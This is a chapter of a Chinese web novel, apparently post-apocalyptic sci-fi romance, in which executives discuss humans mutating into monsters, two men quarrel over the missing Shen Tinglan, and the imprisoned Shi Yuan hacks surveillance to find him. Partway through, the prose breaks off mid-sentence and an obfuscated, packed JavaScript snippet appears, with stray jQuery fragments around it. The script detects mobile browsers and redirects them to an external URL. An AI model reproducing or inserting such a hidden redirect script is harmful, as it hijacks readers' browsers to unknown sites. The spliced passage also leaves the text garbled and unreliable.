亚瑟的话直接一石激起千层浪,原本还算沉稳的执行官们纷纷坐不住了。
“什么意思?人类被异化成了怪物?”
“人类被彻底同化后,不是会成为变异者吗?那些怪物不都是污染源自身孕育出来的吗?”
“是只有这些新出现的怪物曾经是人类,还是……”
“具体异化原因是什么?联邦那边有消息吗?”
亚瑟沉声说:“以前出现的那些怪物,联邦很早就做过检测,确定是从污染源里孕育出来的新物种,只有刚从过去的这一批,基因检测与人类完全相同,但目前仍不清楚异化原因。”
不清楚异化原因,就说明之后还会出现不少类似的情况。
众人你一言我一语,将会议时间生生延长了两个小时,最终讨论出来的结果也只有:要加强对管辖区里执行者的训练强度,并且要对之后出现的可疑怪物保持高度关注,如果有异常最好活捉带去研究院。
会议结束后,执行官们面色沉重的切断了虚拟投影,周围的人影消失后,兰岐站起身活动了一下,他的腿都快坐麻了。
他的余光突然扫到了身旁的首席位上,兰岐猝不及防,抬起的手还没收回来,倏地后退一步撞上桌沿,险些闪到腰,他低骂了一句,表情奇怪地看向还没撤走投影的亚瑟。
“你怎么还在?”
亚瑟依旧坐在原位上,略带审视的视线落到他身上,半天没有开口说话。
兰岐懒得理他,准备转身离开。
“沈听澜在你那儿。”亚瑟很确定地说。
兰岐脚步一顿,转身面无表情地看着亚瑟,冷声道:“你又犯病了?”
“兰岐,他现在就在你那儿。”亚瑟的脸色冷若冰霜,眼底晦暗不明,他沉着声音问:“你什么时候找到他的?”
兰岐眉头紧锁,他有些不耐烦,眼底已经有了怒意,“犯病了就回去吃药,我听不懂你说什么。”
兰岐很不喜欢被人逼问,况且亚瑟问的还是有关沈听澜的事,这让他更加不爽,他以前的确对亚瑟这个队长有过尊敬,这很难得,毕竟兰岐这种眼高于顶的大少爷很少对什么人刮目相看,这辈子唯一一个能彻底拿捏他的,就是沈听澜。
所以当他知道亚瑟对沈听澜有着和他一样的心思,那些微不足道的尊敬就荡然无存了。
笑死,谁会尊敬情敌啊?
恨不得对方赶紧消失才对!
亚瑟对兰岐声音里渐起的怒火置若罔闻,他已经从兰岐的反应里获得了自己想要的答案,轻笑了一声:“你真的很不擅长掩饰。”
“如果是以前,有人提起他,你一向是最消沉的那个,但你今天很反常,甚至主动跳过那个话题,作为你曾经的队长,以我对你的了解……”亚瑟那双深邃的眸子里迸裂出希冀的亮光,唇边笑意愈深,“我能想到的可能性只有一个。”
“你已经找到他了。”
兰岐翻了个白眼,轻呵了一声,他知道亚瑟心里一旦确定了一件事,别人怎么解释都没用。
一个十分固执的人。
“所以你是怎么找到他的?”亚瑟的声音有些急切,连呼吸都有些凌乱,他看上去终于不再是那个完美到无可挑剔的高岭之花了。
兰岐略带迟疑,但还是说了实话:“前段时间,那个出现污染源的人类活动区。”
“他怎么会在哪儿?”
“不清楚。”兰岐说:“他已经不记得以前发生的事了,我找到他的时候,他从六楼跳了下来,腿还受了伤。”
亚瑟呼吸骤然一滞,语气带上了几分焦急,“那他现在……”
兰岐面无表情地打断了他,语气很不好:“已经没事了,连个疤痕都没留下,有我陪着,你在担心什么?”
亚瑟冷漠开口:“换成谁我都不放心。”
兰岐简直快气笑了,嘲讽道:“是啊,只放心你自己来照顾,毕竟是永远可靠的队长。”
“你刚才说他失忆了?”亚瑟对兰岐的嘲讽视若无睹,继续问着自己关心的事。
“医疗舱检测了好几次的结果,用不用把报告给你发一份?”
“行。”亚瑟说:“发一份吧。”
草!
兰岐在心里暗骂了一句。
他手腕上的个人终端突然闪了闪,是沈听澜发来的消息。
『哥:我已经找到工作了,地面探查队,两天以后出任务,等任务回来了就搬出去。』
兰岐原本在看到来信人名字时上扬的唇角的心情,在看清消息内容后,又瞬间落了回去。
亚瑟注意到了兰岐的表情变化,轻挑了一下眉,“听澜的消息?他给你发了什么?”
应该不是什么好事,不然兰岐不会露出这种像被抛弃的小狗一样的表情。
“关你什么事?”兰岐像个被点燃的炸药罐,怒气冲冲地说:“你不许那么叫他,听上去肉麻死了!”
亚瑟冷哼一声:“那我叫他什么?和你一样叫他哥吗?如果他不介意,也不是不行。”
兰岐一秒钟也不想跟这烦人的东西待在一起了,他快步走到会议室门口,刚想迈出去,又想到了什么,转头对亚瑟嘱咐道:“别告诉时渊。”
亚瑟抬了抬眼:“你觉得我会告诉他?”
“不会最好。”兰岐说:“他疯的有点厉害。”
留下这句,兰岐头也不回地离开会议室。
亚瑟沉默两秒,断开了投影。
会议室重归寂静。
无人察觉到,墙角那处早在众人进入会议室就被强制断开并被屏蔽掉的监控摄像头,此时镜头深处闪着诡异的红光。
会议室的画面通过摄像头传到了一面显示屏上,画面十分清晰,显示屏面前的人将整个会议从头到尾都一字不落地听进去了。
听到两人最后的对话,时渊的眼底一片晦暗,他的瞳孔控制不住地颤栗着,喉间抑制不住地发出笑声,声音透着无法克制的兴奋:“我、知、道、了!”
他的笑声逐渐压抑不住,最后甚至带上了些癫狂。
房间内布满无数角落的监控摄像头和探测器全部像是坏掉一般,黯淡地低下了头。
……
联邦管制中心。
几个技术员凑在控制大厅的巨大显示屏前,屏幕上方是密密麻麻的监控画面,里面是对面那座监管楼里各个被管委会管制的危险分子。
“据说对面那栋楼里随便一个都是重型通缉犯的程度,说实话,我现在看这些监控画面,都觉得有点头皮发麻。”一个技术员搓了搓手臂,对身边的人说。
他身边的人叹了一口气,指着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598865|171978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
显示屏说:“谁不是啊,你看这一个个,不是疯狂自残到只能用铁链捆起来,就是将房间里摆设全部砸烂,总之没有一个是正常的。”
他话音刚落,另一个技术员就指着显示屏上其中一处说道:“也不是没有,你看这里,那个人看上去就很正常,他好像是在……看影视剧?”
“是啊,我也注意到了,他已经坐在那里快一个小时了。”
一位资历较老的技术员看着几人所指的方向,露出了一个有些怪异的表情,“你们知道对面那栋楼里顶层区也关着人吧?”
“知道啊。”年轻的技术员点头。
监管楼里都不是什么善茬,危险程度由一楼到十楼向上递增,越是危险的楼层越高,至于顶层区,管委会建立这么多年以来,就进去过一位,而且至今还没有把人放出来。
那个资历较老的技术员指了指屏幕上坐着看影视剧的时渊,“顶层的人就是他,联邦高级执行官,时渊。”
几个年轻的技术员手里的文件哗啦啦地撒了一地。
“真的假的!”
“怎么可能?”
“可他看起来很正常啊!”
一个技术员调出了时渊的精神值波动曲线,他惊呼出声:“他的精神值这七年来完全没有波动!十分稳定!”
听了这话,几人纷纷凑过去。
“是不是检测出错了?怎么可能有人七年来一点精神波动都没有?”
正常人开心难过都会引起精神值的小幅度波动,地面战场直面污染源的人,精神值波动尤其明显,况且这位还是一名执行官。
“没有出错,他的精神值就是没有波动。”老技术员说。
“可……这么稳定的话,他为什么会被监管起来?”
“就是太稳定了。”老技术员说:“你们只看了他的波动曲线,有看过他的精神值吗?”
老技术员调出了时渊精神值的数据给他们看。
看到显示出来的数值,几人顿时神色惊变。
“这……怎么会?”
“我是不是看错了?”
老技术员:“没有看错。”
数据栏上明晃晃标注着:
姓名:时渊
精神值:10
“他的精神值一直很稳定,七年来,一直稳定在精神崩溃临界值。”老技术员指了指屏幕上的时渊:“现在,你们还觉得他的表现很正常吗?”
几人顿时噤声。
这太惊悚了!
正常不了一点!
不愧是被关在顶层的人!危险分子!
他们口中的“危险分子”时渊,此时表情从容,轻而易举地彻底黑进了一号地下城的所有监控系统。
他在无数监控影像里,一眼找出了沈听澜。
沈听澜十分警惕,他平时出门都是避开监控走的,这张也只是拍到了他有些模糊的侧脸。
但时渊依旧能够认出来。
那就是沈听澜。
时渊将这张图片反复看了很久,视线贪恋地落在上面,一秒都不舍得离开,目光有些执拗但又异常温柔,他盯着那个画面,直到绷紧的身体变的僵硬也不曾离开。
而在检测中心监视影像里的“时渊”,依旧惬意地靠在沙发上看着影视剧,甚至悠闲地换了个台。